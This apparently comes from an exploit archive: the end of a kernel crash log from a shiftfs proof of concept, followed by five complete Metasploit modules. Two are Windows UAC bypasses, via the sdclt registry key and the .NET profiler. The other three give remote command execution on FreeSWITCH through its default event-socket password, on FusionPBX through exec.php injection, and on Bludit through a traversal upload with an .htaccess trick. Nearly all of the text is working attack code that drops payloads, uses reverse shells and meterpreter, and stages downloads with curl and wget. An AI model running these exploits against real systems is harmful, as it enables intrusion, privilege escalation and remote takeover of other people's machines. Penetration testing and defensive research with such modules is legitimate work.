[  348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
[  348.188617] CR2: 0000000000004289
[  348.189586] ---[ end trace dad859a1db86d660 ]---
[  348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[  348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[  348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[  348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[  348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[  348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[  348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[  348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[  348.210395] FS:  00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[  348.212710] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[  348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Killed
user@ubuntu1910vm:~/shiftfs_confuse$ 
=======================================
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',
      'Description'   => %q(
        This module will bypass Windows UAC by hijacking a special key in the Registry under
        the current user hive, and inserting a custom command that will get invoked when
        Window backup and restore is launched. It will spawn a second shell that has the UAC
        flag turned off.

        This module modifies a registry key, but cleans up the key once the payload has
        been invoked.
      ),
      'License'       => MSF_LICENSE,
      'Author'        => [
          'enigma0x3',   # UAC bypass discovery and research
          'bwatters-r7', # Module
        ],
      'Platform'      => ['win'],
      'SessionTypes'  => ['meterpreter'],
      'Targets'       => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultTarget' => 0,
      'Notes'         =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        },
      'References'    =>
        [
          ['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],
          ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
          ['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
        ],
      'DisclosureDate' => 'Mar 17 2017'
      )
    )
    register_options(
      [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
    )

  end

  def check
    if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def write_reg_values(registry_key, payload_pathname)
    begin
      registry_createkey(registry_key) unless registry_key_exist?(registry_key)
      registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
      registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
    rescue ::Exception => e
      print_error(e.to_s)
    end
  end

  def exploit
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
    remove_registry_key = !registry_key_exist?(registry_key)

    # get directory locations straight
    win_dir = session.sys.config.getenv('windir')
    vprint_status("win_dir = " + win_dir)
    tmp_dir = session.sys.config.getenv('tmp')
    vprint_status("tmp_dir = " + tmp_dir)
    exploit_dir = win_dir + "\\System32\\"
    vprint_status("exploit_dir = " + exploit_dir)
    target_filepath = exploit_dir + "sdclt.exe"
    vprint_status("exploit_file = " + target_filepath)

    # make payload
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
    payload_pathname = tmp_dir + '\\' + payload_name
    vprint_status("payload_pathname = " + payload_pathname)
    vprint_status("Making Payload")
    payload = generate_payload_exe
    reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
    vprint_status("reg_command = " + reg_command)
    write_reg_values(registry_key, reg_command)

    # Upload payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status("Payload Upload Complete")

    vprint_status("Launching " + target_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
    rescue ::Exception => e
      print_error("Executing command failed:\n#{e}")
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
    # wait for a few seconds before cleaning up
    print_status("Please wait for session and cleanup....")
    sleep(20)
    vprint_status("Removing Registry Changes")
    if remove_registry_key
      registry_deletekey(registry_key)
    else
      registry_deleteval(registry_key, "DelegateExecute")
      registry_deleteval(registry_key, '')
    end
    print_status("Registry Changes Removed")
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    case is_in_admin_group?
    when true
      print_good('Part of Administrators group! Continuing...')
      if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
        fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
      end
    when false
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    when nil
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    end
  end

end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
      'Description'   => %q(
      Microsoft Windows allows for the automatic loading of a profiling COM object during
      the launch of a CLR process based on certain environment variables ostensibly to
      monitor execution.  In this case, we abuse the profiler by pointing to a payload DLL
      that will be launched as the profiling thread.  This thread will run at the permission
      level of the calling process, so an auto-elevating process will launch the DLL with
      elevated permissions.  In this case, we use gpedit.msc as the auto-elevated CLR
      process, but others would work, too.
      ),
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Casey Smith',   # UAC bypass discovery and research
          '"Stefan Kanthak" <stefan.kanthak () nexgo de>',   # UAC bypass discovery and research
          'bwatters-r7', # Module
        ],
      'Platform'      => ['win'],
      'SessionTypes'  => ['meterpreter'],
      'Targets'       => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultTarget' => 0,
      'Notes'         =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
      'References'    =>
        [
          ['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
          ['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
        ],
      'DisclosureDate' => 'Mar 17 2017'
      )
    )
    register_options(
      [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
    )

  end

  def check
    if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def write_reg_value(registry_hash)
    vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
    begin
      if not registry_key_exist?(registry_hash[:key_name])
        registry_createkey(registry_hash[:key_name])
        registry_hash[:delete_on_cleanup] = true
      else
        registry_hash[:delete_on_cleanup] = false
      end
      registry_setvaldata(registry_hash[:key_name], \
                          registry_hash[:value_name], \
                          registry_hash[:value_value], \
                          registry_hash[:value_type])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
  end

  def remove_reg_value(registry_hash)
    # we may have already deleted the key
    return unless registry_key_exist?(registry_hash[:key_name])
    begin
      if registry_hash[:delete_on_cleanup]
        vprint_status("Deleting #{registry_hash[:key_name]} key")
        registry_deletekey(registry_hash[:key_name])
      else
        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_bad("Unable to clean up registry")
      print_error(e.to_s)
    end
  end

  def exploit
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    # get directory locations straight
    win_dir = session.sys.config.getenv('windir')
    vprint_status("win_dir = " + win_dir)
    tmp_dir = session.sys.config.getenv('tmp')
    vprint_status("tmp_dir = " + tmp_dir)
    exploit_dir = win_dir + "\\System32\\"
    vprint_status("exploit_dir = " + exploit_dir)
    target_filepath = exploit_dir + "gpedit.msc"
    vprint_status("target_filepath = " + target_filepath)
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
    payload_pathname = tmp_dir + '\\' + payload_name

    # make payload
    vprint_status("Making Payload")
    vprint_status("payload_pathname = " + payload_pathname)
    payload = generate_payload_dll

    uuid = SecureRandom.uuid
    vprint_status("UUID = #{uuid}")
    reg_keys = []
    # This reg key will not hurt anything in windows 10+, but is not required.
    unless sysinfo['OS'] =~ /Windows (2016|10)/
      reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
                    value_name: '',
                    value_type: "REG_EXPAND_SZ",
                    value_value: payload_pathname,
                    delete_on_cleanup: false)
    end
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: "COR_PROFILER",
                  value_type: "REG_SZ",
                  value_value: "{#{uuid}}",
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: "COR_ENABLE_PROFILING",
                  value_type: "REG_SZ",
                  value_value: "1",
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: "COR_PROFILER_PATH",
                  value_type: "REG_SZ",
                  value_value: payload_pathname,
                  delete_on_cleanup: false)
    reg_keys.each do |key_hash|
      write_reg_value(key_hash)
    end

    # Upload payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status("Payload Upload Complete")

    vprint_status("Launching " + target_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
    # wait for a few seconds before cleaning up
    print_status("Please wait for session and cleanup....")
    sleep(20)
    vprint_status("Removing Registry Changes")
    reg_keys.each do |key_hash|
      remove_reg_value(key_hash)
    end
    vprint_status("Registry Changes Removed")
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
      else
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'FreeSWITCH Event Socket Command Execution',
      'Description'     => %q{
        This module uses the FreeSWITCH event socket interface
        to execute system commands using the `system` API command.

        The event socket service is enabled by default and listens
        on TCP port 8021 on the local network interface.

        This module has been tested successfully on FreeSWITCH versions:

        1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
        1.8.4~64bit on Ubuntu 19.04 (x64); and
        1.10.1~64bit on Windows 7 SP1 (EN) (x64).
      },
      'License'         => MSF_LICENSE,
      'Author'          => ['bcoles'],
      'References'      =>
        [
          ['CWE', '260'], # default password, configurable in event_socket.conf.xml
          ['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
        ],
      'Platform'        => %w[win linux unix bsd],
      'Arch'            => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Payload'         => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
      'CmdStagerFlavor' => %w[curl wget certutil vbs],
      'Targets'         =>
        [
          ['Unix (In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Linux (Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ],
          ['PowerShell (In-Memory)',
            'Platform'       => 'win',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
            'Type'           => :psh_memory
          ],
          ['Windows (In-Memory)',
            'Platform'       => 'win',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
            'Type'           => :win_memory
          ],
          ['Windows (Dropper)',
            'Platform'       => 'win',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
            'Type'           => :win_dropper
          ]
        ],
      'Privileged'      => false,
      'DefaultOptions'  => { 'RPORT' => 8021 },
      'DisclosureDate'  => '2019-11-03',
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
    ]
  end

  def check
    connect
    banner = sock.get_once.to_s
    disconnect

    if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
      vprint_error 'Access denied by network ACL'
      return CheckCode::Safe
    end

    unless banner.include?('Content-Type: auth/request')
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def auth(password)
    sock.put "auth #{password}\n\n"
    res = sock.get_once.to_s

    unless res.include? 'Content-Type: command/reply'
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    unless res.include?('Reply-Text: +OK accepted')
      fail_with Failure::NoAccess, 'Login failed'
    end

    print_status 'Login success'
  end

  def execute_command(cmd, opts = {})
    api_function = opts[:foreground] ? 'system' : 'bg_system'

    sock.put "api #{api_function} #{cmd}\n\n"
    res = sock.get_once.to_s

    unless res.include? 'Content-Type: api/response'
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    vprint_status "Response: #{res}"
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    connect
    banner = sock.get_once.to_s

    auth(datastore['PASSWORD'])

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :unix_memory
      if datastore['PAYLOAD'] == 'cmd/unix/generic'
        execute_command(payload.encoded, foreground: true)
      else
        execute_command(payload.encoded)
      end
    when :win_memory
      if datastore['PAYLOAD'] == 'cmd/windows/generic'
        execute_command(payload.encoded, foreground: true)
      else
        execute_command(payload.encoded)
      end
    when :psh_memory
      execute_command(
        cmd_psh_payload(
          payload.encoded,
          payload_instance.arch.first,
          { :remove_comspec => true, :encode_final_payload => true }
        )
      )
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500)
    when :win_dropper
      execute_cmdstager(:linemax => 1_500)
    end
  ensure
    disconnect unless sock.nil?
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'FusionPBX Operator Panel exec.php Command Execution',
      'Description'     => %q{
        This module exploits an authenticated command injection vulnerability
        in FusionPBX versions 4.4.3 and prior.

        The `exec.php` file within the Operator Panel permits users with
        `operator_panel_view` permissions, or administrator permissions,
        to execute arbitrary commands as the web server user by sending
        a `system` command to the FreeSWITCH event socket interface.

        This module has been tested successfully on FusionPBX version
        4.4.1 on Ubuntu 19.04 (x64).
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Dustin Cobb', # Discovery and exploit
          'bcoles'       # Metasploit
        ],
      'References'      =>
        [
          ['CVE', '2019-11409'],
          ['EDB', '46985'],
          ['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'],
          ['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611']
        ],
      'Platform'        => %w[unix linux],
      'Arch'            => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Payload'         => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
      'CmdStagerFlavor' => %w[curl wget],
      'Targets'         =>
        [
          ['Automatic (Unix In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Automatic (Linux Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ]
        ],
      'Privileged'      => false,
      'DefaultOptions'  => { 'SSL' => true, 'RPORT' => 443 },
      'DisclosureDate'  => '2019-06-06',
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
      OptString.new('USERNAME', [true, 'The username for FusionPBX']),
      OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
    ]
  end

  def login(user, pass)
    vprint_status "Authenticating as user '#{user}'"

    vars_post = {
      username: user,
      password: pass,
      path: ''
    }

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
      'vars_post' => vars_post
    })

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    if res.code == 302 && res.headers['location'].include?('login.php')
      fail_with Failure::NoAccess, "Login failed for user '#{user}'"
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first

    unless cookie
      fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
    end

    print_good "Authenticated as user '#{user}'"

    cookie
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.body.include?('FusionPBX')
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'),
      'cookie'  => "PHPSESSID=#{@cookie}",
      'vars_get' => {'cmd' => "bg_system #{cmd}"}
    }, 5)

    unless res
      return if session_created?
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    if res.body.include? 'access denied'
      fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
    end

    res
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500)
    end
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Bludit Directory Traversal Image File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
        parameter in the image upload feature in order to save a malicious payload anywhere
        onto the server, and then use a custom .htaccess file to bypass the file extension
        check to finally get remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'christasa', # Original discovery
          'sinn3r'     # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2019-16113'],
          ['URL', 'https://github.com/bludit/bludit/issues/1081'],
          ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'Targets'        =>
        [
          [ 'Bludit v3.9.2', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "2019-09-07",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
        OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
        OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
      ])
  end

  class PhpPayload
    attr_reader :payload
    attr_reader :name

    def initialize(p)
      @payload = p
      @name = "#{Rex::Text.rand_text_alpha(10)}.png"
    end
  end

  class LoginBadge
    attr_reader   :username
    attr_reader   :password
    attr_accessor :csrf_token
    attr_accessor :bludit_key

    def initialize(user, pass, token, key)
      @username = user
      @password = pass
      @csrf_token = token
      @bludit_key = key
    end
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'index.php')
    })

    unless res
      vprint_error('Connection timed out')
      return CheckCode::Unknown
    end

    html = res.get_html_document
    generator_tag = html.at('meta[@name="generator"]')
    unless generator_tag
      vprint_error('No generator metadata tag found in HTML')
      return CheckCode::Safe
    end

    content_attr = generator_tag.attributes['content']
    unless content_attr
      vprint_error("No content attribute found in metadata tag")
      return CheckCode::Safe
    end

    if content_attr.value == 'Bludit'
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def get_uuid(login_badge)
    print_status('Retrieving UUID...')
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
      'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    html = res.get_html_document
    uuid_element = html.at('input[@name="uuid"]')
    unless uuid_element
      fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
    end

    uuid_val = uuid_element.attributes['value']
    unless uuid_val && uuid_val.respond_to?(:value)
      fail_with(Failure::Unknown, 'No UUID value')
    end

    uuid_val.value
  end

  def upload_file(login_badge, uuid, content, fname)
    print_status("Uploading #{fname}...")

    data = Rex::MIME::Message.new
    data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
    data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
    data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'cookie'  => "BLUDIT-KEY=#{login_badge.bludit_key};",
      'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
      'data'    => data.to_s
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end
  end

  def upload_php_payload_and_exec(login_badge)
    # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
    # To: /var/www/html/bludit/bl-content/tmp
    uuid = get_uuid(login_badge)
    php_payload = get_php_payload
    upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)

    # On the vuln app, this line occurs first:
    # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
    # Even though there is a file extension check, it won't really stop us
    # from uploading the .htaccess file.
    htaccess = <<~HTA
    RewriteEngine off
    AddType application/x-httpd-php .png
    HTA
    upload_file(login_badge, uuid, htaccess, ".htaccess")
    register_file_for_cleanup('.htaccess')

    print_status("Executing #{php_payload.name}...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
    })
  end

  def get_php_payload
    @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
  end

  def get_login_badge(res)
    cookies = res.get_cookies
    bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''

    html = res.get_html_document
    csrf_element = html.at('input[@name="tokenCSRF"]')
    unless csrf_element
      fail_with(Failure::Unknown, 'No tokenCSRF found')
    end

    csrf_val = csrf_element.attributes['value']
    unless csrf_val && csrf_val.respond_to?(:value)
      fail_with(Failure::Unknown, 'No tokenCSRF value')
    end

    LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
  end

  def do_login
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'index.php')
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    login_badge = get_login_badge(res)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'admin', 'index.php'),
      'cookie'    => "BLUDIT-KEY=#{login_badge.bludit_key};",
      'vars_post' =>
        {
          'tokenCSRF' => login_badge.csrf_token,
          'username'  => login_badge.username,
          'password'  => login_badge.password
        }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    # A new csrf value is generated, need to update this for the upload
    if res.headers['Location'].to_s.include?('/admin/dashboard')
      store_valid_credential(user: login_badge.username, private: login_badge.password)
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
        'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
      })

      unless res
        fail_with(Failure::Unknown, 'Connection timed out')
      end

      new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
      login_badge.csrf_token = new_csrf if new_csrf
      return login_badge
    end

    fail_with(Failure::NoAccess, 'Authentication failed')
  end

  def exploit
    login_badge = do_login
    print_good("Logged in as: #{login_badge.username}")
    upload_php_payload_and_exec(login_badge)
  end
end
            
##
